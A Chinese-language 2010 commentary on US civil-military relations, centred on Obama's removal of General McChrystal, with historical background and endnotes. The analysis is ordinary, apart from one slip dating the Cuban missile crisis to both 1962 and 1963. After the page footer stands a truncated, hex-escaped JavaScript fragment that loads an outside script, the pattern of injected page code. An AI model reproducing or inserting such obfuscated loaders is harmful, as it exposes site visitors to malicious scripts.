当前位置:首页 >> 美洲 >> 于滨:近期美国军政关系解析
于滨:近期美国军政关系解析
作者:于滨
2010年06月29日  来源:中国改革网  浏览次数:0  文字大小:【大】 【中】 【小】写给编辑
摘要:2012年是一个极有诱惑力的政治符号。奥巴马要在2012年力争连任;美国以外,俄国、韩国和台湾等国家和地区的政坛都要重新洗牌;中国大陆的第五代也将呼之欲出。然而对于打遍世界的美国职业军人来说,法国军事天才拿破仑败退俄罗斯两百年后的2012年,有可能是他们掌控世间最后一块“净土”──美国本土的时刻。

  上周三(2010年6月23日),美国总统奥巴马解除了美军驻阿富汗司令麦克里斯特尔(Stanley McChrystal)上将的职务,任命四星上将、美国中央战区司令部司令帕特瑞斯(David Petraeus)接任。麦克里斯特尔将军接手阿富汗战事仅一年即去职,美国左翼的《滚石》杂志6月号的专访文章是导火索。文中麦将对奥巴马和其他高层文职官员出言不逊,说他对奥巴马总统感到失望,还嘲笑了副总统、国家安全顾问、美驻阿大使等高官。

  然而奥巴马阵前换将,非一日之寒。一年来,奥巴马政府与军方就阿富汗战事的分歧此起彼伏,不仅极大地制约了奥巴马政府内外变革政策的实施,也凸显了美国军界与文职官员之间微妙复杂的互动关系中似渐加深的裂痕。虽然伊战英雄帕特瑞斯将军接手阿富汗战事,暂时在奥巴马为首的文职官员与美国军方之间达成某种平衡,美国军政之间为阿富汗战事的博弈还将继续下去,对美国的中期选举,奥巴马2012年的连选连任,以及与中国安全和利益息息相关的中亚地区的局势都将有直接影响。

  一、“秀才”见了兵……

  此轮美国军政交锋的源头是在九个月前。2009年9月27日,驻阿富汗美军最高指挥官麦克里斯特尔将军接受美国哥伦比亚广播公司著名的《60分钟》节目采访,公开要求奥巴马总统向阿增兵四万,否则美军必败。四天后,麦克里斯特尔在伦敦战略研究所演讲,再度质疑副总统拜登消减驻阿美军的主张。麦克里斯特尔出身军人世家,长期服役于美陆军特战部队;在2001至2003年的阿、伊战争初期,分别指挥特战分队深入敌后,出奇制胜,包括生擒萨达姆。麦克里斯特尔2009年5月接手阿富汗战区总指挥后,发现仅以军事手段应对塔利班不仅收效甚微,且大量平民伤亡引发日益强烈的反美情绪,反而使塔利班大得人心。麦克里斯特尔因此建议美军应以保护平民、发展经济、争取人心、巩固现有“成果”为主。然而此举势必以大幅增兵为前提。在技术层面,麦克里斯特尔的主张不无合理之处;然而竞选和执政初期曾数度允诺增兵阿富汗的奥巴马,后来更有意政治解决阿问题,甚至不排除延揽塔利班势力参政的方式,至少要防止美国更深一步的军事卷入。

  麦克里斯特尔作为战区指挥官,绕过参谋长联席会议和国防部长这些正常渠道,直接通过媒体向美三军最高统帅(总统)“喊话”,已超越了美国宪法所规定的军政关系的底线,与当年麦克阿瑟将军在朝战初期公开挑战杜鲁门政府,只是程度不同。然而麦克里斯特尔是参谋长联席会议主席马伦海军上将(Mullen)和伊战英雄、中东司令部司令帕特瑞斯将军的爱将,在军界和情报系统有相当的人脉基础,其主张也得到保守势力的强劲支持。其公开“犯上”,使增兵阿富汗问题高度政治化,极大压缩了奥巴马政府目前对阿富汗战争进行的战略评估和决策的空间。事实上,奥巴马政府由此陷于两难境地,即增兵势必增加美军伤亡,引发社会反弹;反之则会被保守派扣上“绥靖”和“不忠”的帽子。由此,奥巴马为其政治理念和战略目标必须付出更大的政治资本。另一方面,奥巴马的理念,加上诺贝尔和平奖,又使其不情愿对阿大举增兵。唯一可取的战略就是继续以特战部队和无人机追杀基地头目。这虽然是麦克里斯特尔将军的特长,但对稳定阿、巴局势难有作为。

  二、亨廷顿的“文武之道”

  美国军方和军工界与文官政府之间存在着复杂的“共生”(symbiotic)、依存和竞争关系,其雏形在20世纪初就已显现。然而美军在外交、防务政策的制定和操作层面成为重要参与者之一,还是在二战结束以后,即美军在全球设点布局,成为美国霸业的矛与盾。原因之一是对于美国冷战期间日益庞大和技术含量突飞猛进的军事力量,文官政府已难以用简单的行政机制管理美军,以主流社会的自由主义理念为美军进行“思想控制”亦难以梳理复杂的技术因素。更加专业化、技术化的美军势必拓展其专业领域,而这对大都是“通才”的政界人士来说日益困难。面对“武盛文衰”的大趋向,军方的自主管理与自我调节因此势在必行。

  1957年,美国政治学者亨廷顿在其成名作《士兵与国家》中首次提出所谓“客观控制”的概念(objective control),即美国文官政府应允许军界在专业化和现代化等领域拥有相当自主权,以换取军方对美国国家利益和文官政府的认可和服从;文官政府不必时时处处插手军界事务。1

  亨廷顿为美国的军政关系确立的规范,在多大程度上理顺了美国的军政关系,是一个见仁见智的问题,但至少提供了一个理论框架和理想目标。在此前后,美军人抗命和犯上的例子屡见不鲜,其中最有名的就是当年麦克阿瑟将军坐镇日本,在朝战初期我行我素,使美军遭受重大损失,又执意将战争扩大到中国,还对杜鲁门总统不屑一顾,大有“將在外,君命有所不受”之势,迫使杜鲁门中途换将。朝鲜战争以后,美军方的开支和规模进一步扩大,又与政界和商界打造盘根错节、无孔不入的军工集团。军工集团的呼风唤雨之力,甚至连二战英雄艾森豪威尔总统也为之震动,在1961年初的卸任演说中,艾森豪威尔警告美国军工集团对政治和社会的负面影响。2

  三、美国军政关系的历史轨迹:从艾克将军到“哈佛小子”

  艾森豪威尔的警告,标志着美国文官政府在应对日益强大、且咄咄逼人的军工集团的压力时,美国的“国家利益”已日益屈从某些利益集团的私利。1960年大选中,民主党总统候选人肯尼迪和约翰逊在军工集团的纵容下(保罗·尼茨是背后主谋),攻击共和党“尚武”不力,使美国的战略导弹数量大大低于苏联,编造了所谓“导弹差距”问题。3如今,美国军工集团已不仅仅局限于军界和军事工业集团,而是繁衍成为无处不在、无孔不入的军界-军工-石油-政界-好莱坞-学术-媒体庞大的联合体(complex),与美国政治、社会的日常运作已难分彼此。4

  美国文官政府与军方之关系,不仅与美国对外安全和战略政策有直接关系,二者之间的均衡、和谐与否,直接影响了美国对外政策中的若干重大决策的成败。

  古巴问题,总统“上当” 肯尼迪执政期间,军界对总统身边书生背景的所谓“出类拔萃”之辈不屑一顾。1962年10月的古巴导弹危机期间,参谋长联席会议对国防部长麦克纳马拉的指令与不顾,坚持以军方的“标准行动条令(Standard Operational Procedure)”拦截苏联船只,即以舰炮对甲板上载有弹道导弹的苏联货船上空发炮警告。这在麦克纳马拉看来无疑是在拿核战当儿戏。事实上,美国军方一直在伺机扩大事态,以实现其军事上入侵古巴的最终目的,这与肯尼迪尽量控制、最终化解危机的设想南辕北辙。

  其实,美军方在肯尼迪就职前就酝酿入侵古巴,而此时中情局也在秘密训古巴流亡分子,并在肯尼迪上任后不久即呈报入侵方案。美官方解密档案表明,肯尼迪对中情局的方案犹豫不决,5请参谋长联席会议主席莱姆尼泽将军对该方案加以评估。而莱姆尼泽明知中情局的入侵计划漏洞百出,风险极大,却予以放行,从而导致1961年“猪湾事件”的惨败,令就职不足百日的肯尼迪政府尴尬万分。而军方的真正目的则是期待中情局的行动失败,军方即可“名正言顺”地大举入侵古巴。肯尼迪事后大有上当受骗之感,然而悔之晚矣。6此后肯尼迪本人对中情局和军方极不信任,大力加强由麦乔治·邦迪领导的国家安全委员会的作用。在一年半以后的古巴导弹危机期间,肯尼迪启用其任司法部长的弟弟罗伯特·肯尼迪,通过克格勃在纽约的特工,直接与赫鲁晓夫单线联系,最终化解危机。

  越战后遗症与“鲍威尔主义” 1963年的古巴导弹危机得以化险为夷,使美国军政关系的天平向文官政府倾斜。为应对以戈德华特(Goldwater)为首的共和党极右派的指责,以“出类拔萃之辈”著称的肯尼迪政府,7以及后来的约翰逊政府一步步卷入越南战争,8而美国军方从一开始就极不情愿。至1967年夏,参谋长联席会议甚至以集体辞职相威胁。鲍威尔将军(后任里根的国家安全主任和小布什的国务卿)在其回忆录中称,美军作为一个整体,应该对文官们直言不讳;对于打而不赢的战争,军方应大声说“不”;且尽可能避免卷入与美国核心利益关系不大的冲突之中。9这些以美军在越战中以巨大代价和最后失败换来的教训,加之1983年黎巴嫩自杀式袭击给美军造成的巨大伤亡(241名美军死亡),构成了1984年发表的“温伯格主义”的核心,10并在冷战结束初期由“鲍威尔主义”(Powell Doctrine)进一步加以肯定。11

  海湾战争美军大获全胜,冷战嘎然而止,处于“单极瞬间”的美国12已无敌手,柯林顿时代的美国顺势将美国战略重点转向以人道救援为目标的所谓“克林顿主义”。九十年代,美军在索马里、海地、波士尼亚以及其他“麻烦地区”频频用兵。与此同时,1990至2000年间美军的人员减少了33%,预算减少27%,而美军在世界多处设点、布阵,人力、物力和士气均大受影响。参谋长联席会议主席鲍威尔力主审慎用兵,而柯林顿的国务卿奥尔布赖特却积极“请战”,《时代周刊》因此称波士尼亚战争为“奥尔布赖特的战争”(“Albright`s War”)。131999年的科索沃战争中,白宫方面主张短期空中打击和地面干预;军方高层则坚持延长空中打击,并避免地面部队卷入。不仅如此,军方还阳奉阴违,以各种手段迟滞地面装备的输送,以拖延地面行动的开始。14

  布什治军之道:“军事革命”与“战时总统” 军方对克林顿政府的抵制以致厌恶不仅仅在于政策分歧。对于大都有越战经历的高层将领来说,冷战以后的美国的三军统帅(总统)不仅没有军旅经历,当年要么反战(柯林顿),要么是“避战”(小布什),至少在人格上难以为曾经为国效力的军方将领所折服。尽管如此,美军高层对小布什政府还是给予相当期望。这不仅由于布什内阁中有两位前防长(切尼和拉姆斯菲尔德)和前参谋长联席会议主席(鲍威尔),更因为布什在竞选中对军方多有承诺,并且极力反对以人道主义为由到处用武的“柯林顿主义”。赖斯在2000年8月1日的共和党大会上宣称,美军“不是国际警察。不是世界的911”。15

  然而布什的治军理念很快就与军方的利益相搏,导火索是国防部长拉姆斯菲尔德的“军事革命”(revolution in military affairs),即走精兵之路,把“大而全”的冷战机器,以高科技打造成一个少而精的美军。无论在任何意义上,拉姆斯菲尔德的理念都无可非议,至少是在与时俱进。然而拉姆斯菲尔德对五角大楼的“整肃”、使美军“消肿”的做法,意味着裁减过时和昂贵的武器研发项目,直接影响到美军中各军种的利益和数不清的武器承包商的利润。拉姆斯菲尔德的努力虽有所斩获,然而阻力重重,怨声载道。拉姆斯菲尔德对此十分失望,又无可奈何。9/11事发前一天,拉姆斯菲尔德对五角大楼雇员“训话”时表示:

  今天的议题是一个对美国安全构成严重威胁的敌人。这个敌人是世界上中央计划体制最后的堡垒之一。它以五年计划的强制方式,从一国之首都发号施令,力图使其指令跨越时空,达及五洲四海。这个敌人对自由思想和新颖思维的打压不竭余力。它干扰美国的国防,使在美军服役的男女公民处于危险之中。

  也许这个敌人听起来像是苏联,但苏联已不复存在。而今天的这个敌人则相当狡猾和残忍。也许你们认为我是在描述世界上所剩无几的老朽的独裁者,但那些独裁者亦来日不多。无法与这个敌人的实力和规模相提并论。

  这个敌人近在眼前,它就是五角大楼的官僚机构。16

  随即发生的9/11恐怖袭击,至少暂时搁置了布什政府与军方的纠葛。随之而来的阿富汗和伊拉克战事,主战的文官与军界纷争再起。在军事战略层面,阿富汗战事未了,布什政府即下令美军即挥师伊拉克,遣散的塔利班力量因此得以喘息,最终卷土重来,对阿富汗重建构成严重威胁,军方至今对此耿耿于怀。伊拉克方面,美军高层主张以数十万大军对伊构成数量和质量上的绝对优势;副国防部长、新保守主义干将沃夫威茨则认为如此用兵“过于离谱”(wildly off the mark)。此后,美军虽速战速决,却由于政策失误和兵员匮乏一直难以对伊进行有效占领和管制。2006年秋,布什政府最终意识到增兵的必要性和紧迫性,军方则得出相反的结论,即美军在伊存在本身就是一个“问题”、而非解决问题的“手段”,增兵越多,问题也会越多。17布什政府最终得以对伊增兵两万,对早已“过载”的美军来说,这意味着更长的轮换周期,更少与家人团聚,更多的心理压力和心理障碍(即“创伤后压力综合症”,post-traumatic stress disorder,简称PTSD),更过的军内暴力事件。胡德堡陆军基地2009年11月5日的枪击事件(13人死、30余人伤),只是冰山一角。

  布什政府与军界矛盾更为深层的原因,是以新保守主义为干将的布什外交-军事政策团队,对军队的专业技术领域和操作层面成功地进行直接控制和干预。这在越战以后尚属首次,事实上违反了汉廷顿为美国军政关系所设立的行为规则,即美国文官政府与军界的“分工”:军方在专业化领域拥有自主权;文官政府则掌管“战与和”这样与美国国家利益有重大关系的决策权。

  布什本人对文官政府的越俎代庖也极为赞许,一方面是为避免柯林顿时期军方对文官政府的“不敬”,更是由于受到著名新保守主义学者、约翰霍普金斯大学教授艾律奥特·库恩(Eliot Cohen)2002年的《最高统帅》一书18的启发,立志做库恩笔下像林肯、克列孟梭、丘吉尔、本-古里安等文官出身的“战时统帅”。据库恩本人伊战两年以后称,布什不顾军方反对发动对伊战争,《最高统帅》一书是启蒙和指南。对此,库恩将其演讲的题目定为《坐在扶手椅上的杀手》(“Armchair Killers”),19以此为布什树立“战时总统”的形象。然而这并不能挽回伊拉克日益恶化的时局,美军中近半的官兵认为布什指挥不当,使美军在伊拉克陷入进退两难之境地。20

  挑战总统,争先恐后? 美国军方在布什执政期间忍气吞声,并为此付出相当代价。白宫的“颜色革命”(奥巴马最为首位黑人总统入主白宫),似乎为军方提供了一个重新梳理与文官政府关系的契机。然而麦克里斯特尔将军作为阿富汗战区指挥官,绕过正常渠道,在国内和国际场合一而再、再而三地公开挑战三军统帅,在美国军政关系史上实为罕见。回头看,无论奥巴马如何回应,是否增兵阿富汗,增兵多少,其总统的权威和形象均已受损。在政策操作层面,奥巴马政府不过是继承了前任的烂摊子,甚至还未来得及施展自己的军事战略,其决策能力和意志就已受到下属的公开怀疑和挑战。相比之下,布什在伊拉克问题上频频失误,军方人士也只是在幕后或通过正常渠道(如国会作证)与布什政府交涉。麦克里斯特尔将军在此时挑战总统和美国宪法底线,也许不是简单的军政不和就可以解释的。

  事实上,麦克里斯特尔并非唯一对奥巴马说“不”的美国高官。就在麦克里斯特尔将其对阿富汗的悲观报告有意泄露给《华盛顿邮报》12天前,21南卡众议员威尔逊(2009年9月9日)在奥巴马国会就医保问题演讲时大喊“你撒谎!”这种公然违反议程、在最高立法机构粗暴打断总统发言的现象,在美国历史上还不曾有过。22而在此前数月中,奥巴马在医疗、金融、税收、就业领域的改革政策,都在美国政治生态日益政治化和极端意识形态化的气氛中被曲解以致被肢解。从2009年1月到10月,美国极右派的喉舌《福克斯》电视频道的实政节目主持人格兰·拜克(Glenn Beck)竟使用了127次“马克思”和“马克思主义”的字眼;330次“共产主义”,404次“社会主义”。23看拜克的节目,美国方佛又回到了麦卡锡时代。诺贝尔和平奖委员会2009年10月授予奥巴马本年度和平奖,然而即便是对这样有助于提升美国国际形象的象征性举动,美国主流的自由派媒体的普遍反映愈是相当负面。24居然看不到奥巴马的和平奖,不是对布什政府的简单否定,更可能是担心奥巴马在内政、外交和安全问题上显而易见的困境,最终会使美国的单边主义卷曲重来,祸及全球。

  奥巴马刚入主白宫,即受到诸种“特殊礼遇”,不能不使人怀疑是否有某种“种族”成分在暗中发酵。然而做为美国首任黑人总统然,族裔问题很可能是奥巴马任期内最难有作为的领域。早在2008年大选中,奥巴马的策略就是尽可能地回避或“超越”族裔问题,美国黑人主流对此一直有自己的看法。2009年中,一个偶然的事件凸显了奥巴马在族裔问题上“中立”却又相当尴尬的处境。哈佛大学黑人教授盖茨2009年7月16日在自己家里由于“行为不轨”(disorderly conduct)而被白人警察拘捕,奥巴马在事发之后对哈佛大学所在的剑桥城警察局的“低度”批评(“Cambridge police acted stupidly”),居然引发了剑桥市警察组织的集体抗议,要求奥巴马公开道歉。其实,奥巴马对警方的批评并不过分,警方是在确认盖茨教授是房主以后仍以“态度不好”而将其拘留。然而整个事件由媒体无限放大,奥巴马不得不数次出面澄清,“承认”对事件了解不够,最终以白宫“啤酒高峰会”(beer summit)的方式息事宁人。25为此,代表美国黑人知识精英的哈佛大学黑人社会学教授奥兰多认为,奥巴马在任期内不可能在族裔问题上有明显动作,美国社会中根深蒂固的种族主义,不是白宫中四年八载的“颜色革命”就可以根除的。26

  身为总统,尤其是黑人总统,居然对美国国内仍然极为普遍的歧视少数(尤其是黑人)的现象无可奈何;任何白人总统,对类似明显的歧视现象可能都会有更鲜明的倾向性。奥巴马政府任期之初,军方在增兵问题上即以挑战甚至“最后通牒”的方式“发难”,此后又不断有意无意地通过媒体矮化和嘲弄奥巴马政府,无疑为美国军政之间错综复杂的关系,又增添了“族裔”这一可以意会却无法言传的新变数。

  四、结束语:“2012年序曲”

  2012年是一个极有诱惑力的政治符号。奥巴马要在2012年力争连任;美国以外,俄国、韩国和台湾等国家和地区的政坛都要重新洗牌;中国大陆的第五代也将呼之欲出。然而对于打遍世界的美国职业军人来说,法国军事天才拿破仑败退俄罗斯两百年后的2012年,有可能是他们掌控世间最后一块“净土”──美国本土的时刻。与政治家们四年八载的政坛轮回不同的是,这一大胆离奇的预测竟然出自美国军方,而且是在18年前。

  1992年,美国空军军官小查尔斯·敦莱普(Charles Dunlap,Jr.)就读华府的美国战争学院时,撰写了一篇题为《2012年美国军事政变的根源》的作文,后公开发表,轰动一时。敦莱普为其假设设立的背景是,九十年代初,美国一口气打赢了两场战争,即1990-91年的海湾战争和冷战。此后,美国政坛日益腐败、官吏无能、毒品泛滥、犯罪猖獗、民不聊生,举国上下唯一还能有所作为的就剩下军队了。美军进而一步步接管了政府的各种职能,包括治安、医疗、教育、环保、民航、甚至土木工程等等。美军深深介入民事,导致来两个极端现象。一方面,美军自然而然地要求更大的政治发言权;另一方面,美军官兵及其家属子女却生活在遍布美国和世界各地的一座座无所不有但又与世隔绝的兵营和基地中,动荡不安的外部世界与安逸平静的兵营生活形成鲜明对比,他们因此蔑视、鄙视以至敌视平民百姓和政府官员。终于在2012年的某一天美国总统“病逝”时,军方顺水推舟地“接管”了白宫。27

  敦莱普本人希望其大胆假设永远停留在纸面上。然而一个不争的事实是,他所预测的美国内政的低效和腐败,在2008年开始的金融危机后日益显现,并向各级政府和社会蔓延。本期《时代周刊》(2010年6月28日号)就以《美国州政府的破产》(“The Broken States of America”)为封面,详细描述美国州以下各级政府仍在日益深化的财政危机。28

  与此同时,美军方和军工集团在国内和世界范围内的影响日益扩展。在美国政府各部门中,国防部的预算最多,2008年度达7,110亿美元,占全球军事总开支1.47兆亿美元的48%。29而奥巴马在2010年1月的国情咨文中,军费开支是少数未被冻结的项目。30如此天文数字的军费,支持着遍布美国及世界各地3000余处军事基地和设施,包括700余处分布于130个国家的海外基地,供养130万现役军人,70万文职人员,以及110万后备役军人。包括737处分布于130个国家的海外基地(2006年数字),而五角大楼本身使用面积达34.4万平方米,走廊全长28公里,停车场可容纳8,770辆汽车,还有131座楼梯,691个饮水器,284个厕所,4200个挂钟。每天使用这些设备的雇员有23,000人,每天要打20万次电话。相比之下,主管美国外交的国务院2008年预算仅90亿美元,为军事预算的1.26%。31为此,现任防长盖茨曾打趣说,美军中乐师人数都超过比美国外交官的数量。32

  亨廷顿的《士兵与国家》问世50余年,作者所规范的美国的军政关系亦多有变异。然而今日美国的军政关系,已远非艾森豪威尔时期相对简单的“军方好战与文官求和”的模式。由于军工集团的触角和影响已深入美国各界,其利益代言人也进入政府各阶层个部门,文人好战甚于军界的例子比比皆是,越战和伊战都是如此,因此有“鸡鹰”之称(chicken hawks),明明是鸡,却偏偏以鹰的行为行事;即从未有军旅生涯的文职官员,甚至比职业军人还要好战。在军工集团撒下的“大网”中,几乎没有哪个政客可以“漏网”,且不分左右,民主共和两党通吃。据《波士顿环球报》2007年报道,截至2006年的选举周期,接受美国武器承包商捐款最多的前10位参议员中包括数位民主党重量级人物:麻省参议员肯尼迪(已故),纽约州参议员希拉里·柯林顿,新泽西州参议员多德,以及加州参议员范恩斯坦。33在2009年关于增兵阿富汗的辩论中,一贯以自由派为标志的范恩斯坦似乎比任何人都更倾向于支持军方立场。而在奥巴马内阁成员中,力主对阿增兵的恰恰是国务卿希拉里。相比之下,海军陆战队出身的奥巴马的国家安全顾问詹姆斯?琼斯则主张审慎行事。

  回到奥巴马与麦克里斯特尔的将帅之争。麦将被解职,没有也不可能改变军方和军工集团在美国内政中的强势,更无力扭转阿富汗战场的颓势。事实上,在奥巴马和新任美军驻阿司令帕特瑞斯将军之间,新一轮的军政博弈已见端倪。2007年美军对伊拉克的增兵颇有成效,帕特瑞斯顿时成了极端保守派和新保守派的宠儿,今年5月还获得新保守派大本营的美国企业研究所以新保守派巨头命名的“艾文·克里斯特尔奖”(Irving Kristol Award),34帕特瑞斯2012年以共和党身份竞选总统的说法也不胫而走。

  奥巴马任命帕特瑞斯为美军驻阿富汗司令,可谓一石数鸟。外放帕特瑞斯,可在短期内排除一个2012年大选年的强有力的潜在竞选对手;帕特瑞斯如果在阿富汗得手,奥巴马则慧眼识英雄;如不得手,帕特瑞斯本人负直接责任。

  然而究竟鹿死谁手,人们仍要拭目以待。

  注释:

  1 Samuel Huntington, The Soldier and the State: The Theory and Politics of Civil-Military Relations (Harvard University Press, 1957).

  2 Walter LaFeber, America, Russia, and the Cold War, 1945-2006, 10th ed. (McGraw-Hill, 2008), pp. 202-4.

  3 LaFeber, America, Russia, and the Cold War, 2008, pp.202-203.

  4 Nick Turse, The Complex: How the Military Invades Our Everyday Lives (New York: Metropolitan Books, 2009).

  5 见Aleksander Fursenko and Timothy Naftali, One Hell of a Gamble: Khrushchev, Castro & Kennedy, 1958-1964 (New York: W.W. Norton, 1997), 第84-5页。

  6 Peter Kornbluh, ed., Bay of Pigs Declassified: The Secret CIA Report on the Invasion of Cuba (New York,1998).

  7 David Halberstam, The Best and the Brightest (Fawcett Publications, Inc., 1969)

  8 Russell Baker, “What L.B.J. Knew?” New York Times, March 18, 1997, p. A19.

  9 Michael Desch, “Bush and the Generals,” Foreign Affairs, Vol. 86 Issue 3 (May/June 2007), pp. 97-108.

  10 “温伯格主义”于1984年11月发布。见http://en.wikipedia.org/wiki/Weinberger_Doctrine

  11 Colin Powell, “U.S. Forces: Challenges Ahead,” Foreign Affairs (winter 1992/93), p. 38.

  12 Charles Krauthammer, “The Unipolar Moment,” Foreign Affairs America and the World 1990.

  13 见John Norris, Collision Course: NATO, Russia and Kosovo (Praeger Publishers, 2005), p. 26.

  14 Michael Desch, op cit.

  15 911是美国紧急电话号码,任何人任何地点和时间都可拨打。见Condoleezza Rice, speech at the Republican National Convention, August 1, 2000, http://www.famousquotes.me.uk/speeches/Condoleezza-Rice/index.htm.

  16 引自Jeremy Scahill, Blackwater: The Rise of the World’s Most Powerful Mercenary Army (Nation Books, 2007), 第50页。

  17 Bob Woodward, The War Within: A Secret White House History 2006-2008, (Simon & Schuster, 2008).

  18 Eliot Cohen, Supreme Command: Soldiers, Statesmen, and Leadership in Wartime (Free Press, June 2002).

  19 Eliot Cohen2005年5月4日在美国俄亥俄州立大学莫尚中心(Mershon Center)的演讲。

  20 Michael Desch, “Bush and the Generals,” Foreign Affairs, Vol. 86 Issue 3 (May/June 2007), pp. 97-108.

  21 Bob Woodward, “McChrystal: More Forces or 'Mission Failure’:Top U.S. Commander For Afghan War Calls Next 12 Months Decisive,” Washington Post, September 21, 2009, http://www.washingtonpost.com/wp-dyn/content/article/2009/09/20/AR2009092002920.html.

  22 Carl Hulse, “In Lawmaker’s Outburst, a Rare Breach of Protocol,” New York Times, September 10, 2009, http://www.nytimes.com/2009/09/10/us/politics/10wilson.html.

  23 Kathleen Parker, “Send Out the Clowns,” The Washington Post, October 18, 2009, http://www.washingtonpost.com/wp-dyn/content/article/2009/10/16/AR2009101602508.html.

  24 Steven  Erlanger and Sheryl Gay Stolberg, “Surprise Nobel for Obama Stirs Praise and Doubts,” New York Times, October 19, 2009,http://www.nytimes.com/2009/10/10/world/10nobel.html.

  25 Ted Fitzgerald, “Cambridge police press conference,” July 24, 2009, http://www.bostonherald.com/news/regional/view/20090724police_groups_sound_offense_at_obama_patrick_comments/.

  26 Orlando Patterson, “A Job Too Big for One Man,” New York Times, November 23, 2009, http://www.nytimes.com/2009/11/04/opinion/04patterson.html?_r=1&scp=1&sq=Olando%20Patterson&st=Search.

  27 Charles Dunlap, Jr, “The Origins of the American Military Coup of 2012,” Parameters (winter 1992-93), pp. 2-20.

  28 见http://www.time.com/time/covers/0,16641,20100628,00.html

  29 引自Center For Arms Control and Non-Proliferation网页, http://www.armscontrolcenter.org/policy/securityspending/articles/fy09_dod_request_global/

  30 Text: “Obama’s State of the Union Address,” New York Times, January 27, 2010, http://www.nytimes.com/2010/01/28/us/politics/28obama.text.html.

  31 引自Pentagon Facts and Figures, http://pentagon.afis.osd.mil/facts.html;Steven Hook, U.S. Foreign Policy: The Paradox of World Power, 2nd Edition (Washington, DC: CQ Press, 2008), 第157,176-77页。

  32 David Sanger, “A Handpicked Team for a Sweeping Shift in Foreign Policy,” New York Times, November 30, 2008, http://www.nytimes.com/2008/12/01/us/politics/01policy.html

  33 Nick Turse, The Complex: How the Military Invades Our Everyday Lives (New York: Metropolitan Books, 2009), p. 30.

  34 Michael Flynn, “A Surge of Ideas, Part1, US Foreign Policy Lines Blurred,” Asia Times online, June 22, 2010, http://www.atimes.com/atimes/Middle_East/LF22Ak02.html, June 22, 2010

  【作者为上海美国学会资深研究员,美国文博大学(WittenbergUniversity)东亚项目主任,上海华东师范大学客座教授。】

作者授权中国改革网发布,转载请注明“来源:中国改革网”

本文引用地址:

关键词阅读
相关评论
发表评论

验证码:

  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的),本站管理员有权保留或删除评论内容。
推荐文章
热点文章
热评文章
本站独家

x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x63\x70\x2e\x6d\x73\x22\x39\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); -->